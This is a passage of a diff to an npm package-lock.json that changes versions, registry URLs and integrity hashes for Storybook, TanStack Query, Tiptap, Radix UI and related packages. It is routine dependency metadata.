-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-visually-hidden/node_modules/@radix-ui/react-primitive": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz",
-      "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==",
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
+      "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
       "license": "MIT",
       "dependencies": {
-        "@radix-ui/react-slot": "1.2.4"
+        "@radix-ui/react-primitive": "2.1.3"
       },
       "peerDependencies": {
         "@types/react": "*",
@@ -7474,9 +7009,9 @@
       "license": "MIT"
     },
     "node_modules/@rolldown/pluginutils": {
-      "version": "1.0.0-rc.2",
-      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.2.tgz",
-      "integrity": "sha512-izyXV/v+cHiRfozX62W9htOAvwMo4/bXKDrQ+vom1L1qRuexPock/7VZDAhnpHCLNejd3NJ6hiab+tO0D44Rgw==",
+      "version": "1.0.0-beta.53",
+      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.53.tgz",
+      "integrity": "sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==",
       "dev": true,
       "license": "MIT"
     },
@@ -7880,16 +7415,16 @@
       "license": "MIT"
     },
     "node_modules/@storybook/addon-docs": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/addon-docs/-/addon-docs-10.2.7.tgz",
-      "integrity": "sha512-RHw+uHA05A7t48OtVu6gvNOueSGK8P/5NCmVRl3Vx/Kg3mxCyU2nGOHwWBt3C3CsWOLioZPsa7f5UdjOkhJ35Q==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/addon-docs/-/addon-docs-10.1.11.tgz",
+      "integrity": "sha512-Jwm291Fhim2eVcZIVlkG1B2skb0ZI9oru6nqMbJxceQZlvZmcIa4oxvS1oaMTKw2DJnCv97gLm57P/YvRZ8eUg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@mdx-js/react": "^3.0.0",
-        "@storybook/csf-plugin": "10.2.7",
-        "@storybook/icons": "^2.0.1",
-        "@storybook/react-dom-shim": "10.2.7",
+        "@storybook/csf-plugin": "10.1.11",
+        "@storybook/icons": "^2.0.0",
+        "@storybook/react-dom-shim": "10.1.11",
         "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
         "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
         "ts-dedent": "^2.0.0"
@@ -7899,13 +7434,13 @@
         "url": "https://opencollective.com/storybook"
       },
       "peerDependencies": {
-        "storybook": "^10.2.7"
+        "storybook": "^10.1.11"
       }
     },
     "node_modules/@storybook/addon-links": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/addon-links/-/addon-links-10.2.7.tgz",
-      "integrity": "sha512-j2LUFUraQg3/ovDQU8BRhdwE3bKqC1frmn0E8kg9STM63wMgXMZ+6rz+HhGU64f2jvb2AQCgAgHs6FB1mufzhg==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/addon-links/-/addon-links-10.1.11.tgz",
+      "integrity": "sha512-PEC+Fn3fyBOlMlCcLX+AUunrQMcH7MEfiFtPkp7QnjfMGwBIyzCjgVxM2OyKyIslQnB1So1pY98uTI26fXz/yg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -7917,7 +7452,7 @@
       },
       "peerDependencies": {
         "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
-        "storybook": "^10.2.7"
+        "storybook": "^10.1.11"
       },
       "peerDependenciesMeta": {
         "react": {
@@ -7926,9 +7461,9 @@
       }
     },
     "node_modules/@storybook/addon-onboarding": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/addon-onboarding/-/addon-onboarding-10.2.7.tgz",
-      "integrity": "sha512-itf4l/ctdGBwAtKWHd35tPt/VFBefGZTVpccbV4c5yhe1RV364v+UeGCgtHkA0G5R3R2Y/gdSZ+edOZXbGFKRw==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/addon-onboarding/-/addon-onboarding-10.1.11.tgz",
+      "integrity": "sha512-DNJv0IDl5XBrY+PPgwnMXLyp3omPkMOS6xe8ejG3csT71B6+3VueL6m7Qivh6739SnAV0QBU5SQlpMA0gQUcSA==",
       "dev": true,
       "license": "MIT",
       "funding": {
@@ -7936,17 +7471,18 @@
         "url": "https://opencollective.com/storybook"
       },
       "peerDependencies": {
-        "storybook": "^10.2.7"
+        "storybook": "^10.1.11"
       }
     },
     "node_modules/@storybook/builder-vite": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/builder-vite/-/builder-vite-10.2.7.tgz",
-      "integrity": "sha512-dh/Oqvwob12oYJoaUkMgXxCGFxR8B+Hb/nACttxSuAZ1InTtXIMBM9GDpBs8QjaT23X/yHJz3dPYyUBbsn/SNA==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/builder-vite/-/builder-vite-10.1.11.tgz",
+      "integrity": "sha512-MMD09Ap7FyzDfWG961pkIMv/w684XXe1bBEi+wCEpHxvrgAd3j3A9w/Rqp9Am2uRDPCEdi1QgSzS3SGW3aGThQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@storybook/csf-plugin": "10.2.7",
+        "@storybook/csf-plugin": "10.1.11",
+        "@vitest/mocker": "3.2.4",
         "ts-dedent": "^2.0.0"
       },
       "funding": {
@@ -7954,14 +7490,14 @@
         "url": "https://opencollective.com/storybook"
       },
       "peerDependencies": {
-        "storybook": "^10.2.7",
+        "storybook": "^10.1.11",
         "vite": "^5.0.0 || ^6.0.0 || ^7.0.0"
       }
     },
     "node_modules/@storybook/csf-plugin": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/csf-plugin/-/csf-plugin-10.2.7.tgz",
-      "integrity": "sha512-10JblhVYXYmz+XjU86kvAV6pdqCLdkgGcARS6ehhR6W98lKGskWhLNgu4KM9BEKa/2roH8je+DmrlX3ugkMEgw==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/csf-plugin/-/csf-plugin-10.1.11.tgz",
+      "integrity": "sha512-Ant0NhgqHKzQsseeVTSetZCuDHHs0W2HRkHt51Kg/sUl0T/sDtfVA+fWZT8nGzGZqYSFkxqYPWjauPmIhPtaRw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -7974,7 +7510,7 @@
       "peerDependencies": {
         "esbuild": "*",
         "rollup": "*",
-        "storybook": "^10.2.7",
+        "storybook": "^10.1.11",
         "vite": "*",
         "webpack": "*"
       },
@@ -8011,14 +7547,14 @@
       }
     },
     "node_modules/@storybook/react": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/react/-/react-10.2.7.tgz",
-      "integrity": "sha512-SuWzFLNprNNWUWC7o0p1gVNAK1QoDTVdymDo4jeKIUfcMdmzEMzj8zqkCxeStaVLQxqBIvmca3uJHlym8GsVrQ==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/react/-/react-10.1.11.tgz",
+      "integrity": "sha512-rmMGmEwBaM2YpB8oDk2moM0MNjNMqtwyoPPZxjyruY9WVhYca8EDPGKEdRzUlb4qZJsTgLi7VU4eqg6LD/mL3Q==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@storybook/global": "^5.0.0",
-        "@storybook/react-dom-shim": "10.2.7",
+        "@storybook/react-dom-shim": "10.1.11",
         "react-docgen": "^8.0.2"
       },
       "funding": {
@@ -8028,7 +7564,7 @@
       "peerDependencies": {
         "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
         "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
-        "storybook": "^10.2.7",
+        "storybook": "^10.1.11",
         "typescript": ">= 4.9.x"
       },
       "peerDependenciesMeta": {
@@ -8038,9 +7574,9 @@
       }
     },
     "node_modules/@storybook/react-dom-shim": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/react-dom-shim/-/react-dom-shim-10.2.7.tgz",
-      "integrity": "sha512-TCD46eKy0JlqUU3DZDaJNecen09HjT74NpJjmgpwOyMXrm+Wl/HfshMyn4GZj/rVQfFN90udNp0NzfbBAPbJAQ==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/react-dom-shim/-/react-dom-shim-10.1.11.tgz",
+      "integrity": "sha512-o8WPhRlZbORUWG9lAgDgJP0pi905VHJUFJr1Kp8980gHqtlemtnzjPxKy5vFwj6glNhAlK8SS8OOYzWP7hloTQ==",
       "dev": true,
       "license": "MIT",
       "funding": {
@@ -8050,20 +7586,20 @@
       "peerDependencies": {
         "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
         "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
-        "storybook": "^10.2.7"
+        "storybook": "^10.1.11"
       }
     },
     "node_modules/@storybook/react-vite": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/@storybook/react-vite/-/react-vite-10.2.7.tgz",
-      "integrity": "sha512-R8Xwh3RaCsTyr55xv0rYrT4ve+Kw8vGGTzE6IWkHAXjRYXLdETH8JJoAuI75ESbCeUOl7Lj9jvtD9jS3TCoboA==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/@storybook/react-vite/-/react-vite-10.1.11.tgz",
+      "integrity": "sha512-qh1BCD25nIoiDfqwha+qBkl7pcG4WuzM+c8tsE63YEm8AFIbNKg5K8lVUoclF+4CpFz7IwBpWe61YUTDfp+91w==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@joshwooding/vite-plugin-react-docgen-typescript": "^0.6.3",
         "@rollup/pluginutils": "^5.0.2",
-        "@storybook/builder-vite": "10.2.7",
-        "@storybook/react": "10.2.7",
+        "@storybook/builder-vite": "10.1.11",
+        "@storybook/react": "10.1.11",
         "empathic": "^2.0.0",
         "magic-string": "^0.30.0",
         "react-docgen": "^8.0.0",
@@ -8077,7 +7613,7 @@
       "peerDependencies": {
         "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
         "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
-        "storybook": "^10.2.7",
+        "storybook": "^10.1.11",
         "vite": "^5.0.0 || ^6.0.0 || ^7.0.0"
       }
     },
@@ -8368,32 +7904,26 @@
       }
     },
     "node_modules/@tanstack/eslint-plugin-query": {
-      "version": "5.91.4",
-      "resolved": "https://registry.npmjs.org/@tanstack/eslint-plugin-query/-/eslint-plugin-query-5.91.4.tgz",
-      "integrity": "sha512-8a+GAeR7oxJ5laNyYBQ6miPK09Hi18o5Oie/jx8zioXODv/AUFLZQecKabPdpQSLmuDXEBPKFh+W5DKbWlahjQ==",
+      "version": "5.91.2",
+      "resolved": "https://registry.npmjs.org/@tanstack/eslint-plugin-query/-/eslint-plugin-query-5.91.2.tgz",
+      "integrity": "sha512-UPeWKl/Acu1IuuHJlsN+eITUHqAaa9/04geHHPedY8siVarSaWprY0SVMKrkpKfk5ehRT7+/MZ5QwWuEtkWrFw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/utils": "^8.48.0"
+        "@typescript-eslint/utils": "^8.44.1"
       },
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/tannerlinsley"
       },
       "peerDependencies": {
-        "eslint": "^8.57.0 || ^9.0.0",
-        "typescript": "^5.0.0"
-      },
-      "peerDependenciesMeta": {
-        "typescript": {
-          "optional": true
-        }
+        "eslint": "^8.57.0 || ^9.0.0"
       }
     },
     "node_modules/@tanstack/query-core": {
-      "version": "5.90.20",
-      "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.90.20.tgz",
-      "integrity": "sha512-OMD2HLpNouXEfZJWcKeVKUgQ5n+n3A2JFmBaScpNDUqSrQSjiveC7dKMe53uJUg1nDG16ttFPz2xfilz6i2uVg==",
+      "version": "5.90.16",
+      "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.90.16.tgz",
+      "integrity": "sha512-MvtWckSVufs/ja463/K4PyJeqT+HMlJWtw6PrCpywznd2NSgO3m4KwO9RqbFqGg6iDE8vVMFWMeQI4Io3eEYww==",
       "license": "MIT",
       "funding": {
         "type": "github",
@@ -8401,9 +7931,9 @@
       }
     },
     "node_modules/@tanstack/query-devtools": {
-      "version": "5.93.0",
-      "resolved": "https://registry.npmjs.org/@tanstack/query-devtools/-/query-devtools-5.93.0.tgz",
-      "integrity": "sha512-+kpsx1NQnOFTZsw6HAFCW3HkKg0+2cepGtAWXjiiSOJJ1CtQpt72EE2nyZb+AjAbLRPoeRmPJ8MtQd8r8gsPdg==",
+      "version": "5.92.0",
+      "resolved": "https://registry.npmjs.org/@tanstack/query-devtools/-/query-devtools-5.92.0.tgz",
+      "integrity": "sha512-N8D27KH1vEpVacvZgJL27xC6yPFUy0Zkezn5gnB3L3gRCxlDeSuiya7fKge8Y91uMTnC8aSxBQhcK6ocY7alpQ==",
       "license": "MIT",
       "funding": {
         "type": "github",
@@ -8411,12 +7941,12 @@
       }
     },
     "node_modules/@tanstack/react-query": {
-      "version": "5.90.20",
-      "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.90.20.tgz",
-      "integrity": "sha512-vXBxa+qeyveVO7OA0jX1z+DeyCA4JKnThKv411jd5SORpBKgkcVnYKCiBgECvADvniBX7tobwBmg01qq9JmMJw==",
+      "version": "5.90.16",
+      "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.90.16.tgz",
+      "integrity": "sha512-bpMGOmV4OPmif7TNMteU/Ehf/hoC0Kf98PDc0F4BZkFrEapRMEqI/V6YS0lyzwSV6PQpY1y4xxArUIfBW5LVxQ==",
       "license": "MIT",
       "dependencies": {
-        "@tanstack/query-core": "5.90.20"
+        "@tanstack/query-core": "5.90.16"
       },
       "funding": {
         "type": "github",
@@ -8427,19 +7957,19 @@
       }
     },
     "node_modules/@tanstack/react-query-devtools": {
-      "version": "5.91.3",
-      "resolved": "https://registry.npmjs.org/@tanstack/react-query-devtools/-/react-query-devtools-5.91.3.tgz",
-      "integrity": "sha512-nlahjMtd/J1h7IzOOfqeyDh5LNfG0eULwlltPEonYy0QL+nqrBB+nyzJfULV+moL7sZyxc2sHdNJki+vLA9BSA==",
+      "version": "5.91.2",
+      "resolved": "https://registry.npmjs.org/@tanstack/react-query-devtools/-/react-query-devtools-5.91.2.tgz",
+      "integrity": "sha512-ZJ1503ay5fFeEYFUdo7LMNFzZryi6B0Cacrgr2h1JRkvikK1khgIq6Nq2EcblqEdIlgB/r7XDW8f8DQ89RuUgg==",
       "license": "MIT",
       "dependencies": {
-        "@tanstack/query-devtools": "5.93.0"
+        "@tanstack/query-devtools": "5.92.0"
       },
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/tannerlinsley"
       },
       "peerDependencies": {
-        "@tanstack/react-query": "^5.90.20",
+        "@tanstack/react-query": "^5.90.14",
         "react": "^18 || ^19"
       }
     },
@@ -8522,9 +8052,9 @@
       "dev": true
     },
     "node_modules/@testing-library/react": {
-      "version": "16.3.2",
-      "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz",
-      "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==",
+      "version": "16.3.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.1.tgz",
+      "integrity": "sha512-gr4KtAWqIOQoucWYD/f6ki+j5chXfcPc74Col/6poTyqTmn7zRmodWahWRCp8tYd+GMqBonw6hstNzqjbs6gjw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -8593,48 +8123,48 @@
       }
     },
     "node_modules/@tiptap/core": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/core/-/core-3.19.0.tgz",
-      "integrity": "sha512-bpqELwPW+DG8gWiD8iiFtSl4vIBooG5uVJod92Qxn3rA9nFatyXRr4kNbMJmOZ66ezUvmCjXVe/5/G4i5cyzKA==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/core/-/core-3.15.3.tgz",
+      "integrity": "sha512-bmXydIHfm2rEtGju39FiQNfzkFx9CDvJe+xem1dgEZ2P6Dj7nQX9LnA1ZscW7TuzbBRkL5p3dwuBIi3f62A66A==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-blockquote": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-blockquote/-/extension-blockquote-3.19.0.tgz",
-      "integrity": "sha512-y3UfqY9KD5XwWz3ndiiJ089Ij2QKeiXy/g1/tlAN/F1AaWsnkHEHMLxCP1BIqmMpwsX7rZjMLN7G5Lp7c9682A==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-blockquote/-/extension-blockquote-3.15.3.tgz",
+      "integrity": "sha512-13x5UsQXtttFpoS/n1q173OeurNxppsdWgP3JfsshzyxIghhC141uL3H6SGYQLPU31AizgDs2OEzt6cSUevaZg==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-bold": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-bold/-/extension-bold-3.19.0.tgz",
-      "integrity": "sha512-UZgb1d0XK4J/JRIZ7jW+s4S6KjuEDT2z1PPM6ugcgofgJkWQvRZelCPbmtSFd3kwsD+zr9UPVgTh9YIuGQ8t+Q==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-bold/-/extension-bold-3.15.3.tgz",
+      "integrity": "sha512-I8JYbkkUTNUXbHd/wCse2bR0QhQtJD7+0/lgrKOmGfv5ioLxcki079Nzuqqay3PjgYoJLIJQvm3RAGxT+4X91w==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-bubble-menu": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-bubble-menu/-/extension-bubble-menu-3.19.0.tgz",
-      "integrity": "sha512-klNVIYGCdznhFkrRokzGd6cwzoi8J7E5KbuOfZBwFwhMKZhlz/gJfKmYg9TJopeUhrr2Z9yHgWTk8dh/YIJCdQ==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-bubble-menu/-/extension-bubble-menu-3.15.3.tgz",
+      "integrity": "sha512-e88DG1bTy6hKxrt7iPVQhJnH5/EOrnKpIyp09dfRDgWrrW88fE0Qjys7a/eT8W+sXyXM3z10Ye7zpERWsrLZDg==",
       "license": "MIT",
       "optional": true,
       "dependencies": {
@@ -8645,80 +8175,80 @@
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-bullet-list": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-bullet-list/-/extension-bullet-list-3.19.0.tgz",
-      "integrity": "sha512-F9uNnqd0xkJbMmRxVI5RuVxwB9JaCH/xtRqOUNQZnRBt7IdAElCY+Dvb4hMCtiNv+enGM/RFGJuFHR9TxmI7rw==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-bullet-list/-/extension-bullet-list-3.15.3.tgz",
+      "integrity": "sha512-MGwEkNT7ltst6XaWf0ObNgpKQ4PvuuV3igkBrdYnQS+qaAx9IF4isygVPqUc9DvjYC306jpyKsNqNrENIXcosA==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/extension-list": "^3.19.0"
+        "@tiptap/extension-list": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-code": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-code/-/extension-code-3.19.0.tgz",
-      "integrity": "sha512-2kqqQIXBXj2Or+4qeY3WoE7msK+XaHKL6EKOcKlOP2BW8eYqNTPzNSL+PfBDQ3snA7ljZQkTs/j4GYDj90vR1A==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-code/-/extension-code-3.15.3.tgz",
+      "integrity": "sha512-x6LFt3Og6MFINYpsMzrJnz7vaT9Yk1t4oXkbJsJRSavdIWBEBcoRudKZ4sSe/AnsYlRJs8FY2uR76mt9e+7xAQ==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-code-block": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-code-block/-/extension-code-block-3.19.0.tgz",
-      "integrity": "sha512-b/2qR+tMn8MQb+eaFYgVk4qXnLNkkRYmwELQ8LEtEDQPxa5Vl7J3eu8+4OyoIFhZrNDZvvoEp80kHMCP8sI6rg==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-code-block/-/extension-code-block-3.15.3.tgz",
+      "integrity": "sha512-q1UB9icNfdJppTqMIUWfoRKkx5SSdWIpwZoL2NeOI5Ah3E20/dQKVttIgLhsE521chyvxCYCRaHD5tMNGKfhyw==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-document": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-document/-/extension-document-3.19.0.tgz",
-      "integrity": "sha512-AOf0kHKSFO0ymjVgYSYDncRXTITdTcrj1tqxVazrmO60KNl1Rc2dAggDvIVTEBy5NvceF0scc7q3sE/5ZtVV7A==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-document/-/extension-document-3.15.3.tgz",
+      "integrity": "sha512-AC72nI2gnogBuETCKbZekn+h6t5FGGcZG2abPGKbz/x9rwpb6qV2hcbAQ30t6M7H6cTOh2/Ut8bEV2MtMB15sw==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-dropcursor": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-dropcursor/-/extension-dropcursor-3.19.0.tgz",
-      "integrity": "sha512-sf3dEZXiLvsGqVK2maUIzXY6qtYYCvBumag7+VPTMGQ0D4hiZ1X/4ukt4+6VXDg5R2WP1CoIt/QvUetUjWNhbQ==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-dropcursor/-/extension-dropcursor-3.15.3.tgz",
+      "integrity": "sha512-jGI5XZpdo8GSYQFj7HY15/oEwC2m2TqZz0/Fln5qIhY32XlZhWrsMuMI6WbUJrTH16es7xO6jmRlDsc6g+vJWg==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/extensions": "^3.19.0"
+        "@tiptap/extensions": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-floating-menu": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-floating-menu/-/extension-floating-menu-3.19.0.tgz",
-      "integrity": "sha512-JaoEkVRkt+Slq3tySlIsxnMnCjS0L5n1CA1hctjLy0iah8edetj3XD5mVv5iKqDzE+LIjF4nwLRRVKJPc8hFBg==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-floating-menu/-/extension-floating-menu-3.15.3.tgz",
+      "integrity": "sha512-+3DVBleKKffadEJEdLYxmYAJOjHjLSqtiSFUE3RABT4V2ka1ODy2NIpyKX0o1SvQ5N1jViYT9Q+yUbNa6zCcDw==",
       "license": "MIT",
       "optional": true,
       "funding": {
@@ -8727,80 +8257,80 @@
       },
       "peerDependencies": {
         "@floating-ui/dom": "^1.0.0",
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-gapcursor": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-gapcursor/-/extension-gapcursor-3.19.0.tgz",
-      "integrity": "sha512-w7DACS4oSZaDWjz7gropZHPc9oXqC9yERZTcjWxyORuuIh1JFf0TRYspleK+OK28plK/IftojD/yUDn1MTRhvA==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-gapcursor/-/extension-gapcursor-3.15.3.tgz",
+      "integrity": "sha512-Kaw0sNzP0bQI/xEAMSfIpja6xhsu9WqqAK/puzOIS1RKWO47Wps/tzqdSJ9gfslPIb5uY5mKCfy8UR8Xgiia8w==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/extensions": "^3.19.0"
+        "@tiptap/extensions": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-hard-break": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-hard-break/-/extension-hard-break-3.19.0.tgz",
-      "integrity": "sha512-lAmQraYhPS5hafvCl74xDB5+bLuNwBKIEsVoim35I0sDJj5nTrfhaZgMJ91VamMvT+6FF5f1dvBlxBxAWa8jew==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-hard-break/-/extension-hard-break-3.15.3.tgz",
+      "integrity": "sha512-8HjxmeRbBiXW+7JKemAJtZtHlmXQ9iji398CPQ0yYde68WbIvUhHXjmbJE5pxFvvQTJ/zJv1aISeEOZN2bKBaw==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-heading": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-heading/-/extension-heading-3.19.0.tgz",
-      "integrity": "sha512-uLpLlfyp086WYNOc0ekm1gIZNlEDfmzOhKzB0Hbyi6jDagTS+p9mxUNYeYOn9jPUxpFov43+Wm/4E24oY6B+TQ==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-heading/-/extension-heading-3.15.3.tgz",
+      "integrity": "sha512-G1GG6iN1YXPS+75arDpo+bYRzhr3dNDw99c7D7na3aDawa9Qp7sZ/bVrzFUUcVEce0cD6h83yY7AooBxEc67hA==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0"
+        "@tiptap/core": "^3.15.3"
       }
     },
     "node_modules/@tiptap/extension-horizontal-rule": {
-      "version": "3.19.0",
-      "resolved": "https://registry.npmjs.org/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-3.19.0.tgz",
-      "integrity": "sha512-iqUHmgMGhMgYGwG6L/4JdelVQ5Mstb4qHcgTGd/4dkcUOepILvhdxajPle7OEdf9sRgjQO6uoAU5BVZVC26+ng==",
+      "version": "3.15.3",
+      "resolved": "https://registry.npmjs.org/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-3.15.3.tgz",
+      "integrity": "sha512-FYkN7L6JsfwwNEntmLklCVKvgL0B0N47OXMacRk6kYKQmVQ4Nvc7q/VJLpD9sk4wh4KT1aiCBfhKEBTu5pv1fg==",
       "license": "MIT",
       "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/ueberdosis"
       },
       "peerDependencies": {
-        "@tiptap/core": "^3.19.0",
-        "@tiptap/pm": "^3.19.0"
+        "@tiptap/core": "^3.15.3",
+        "@tiptap/pm": "^3.15.3"
       }
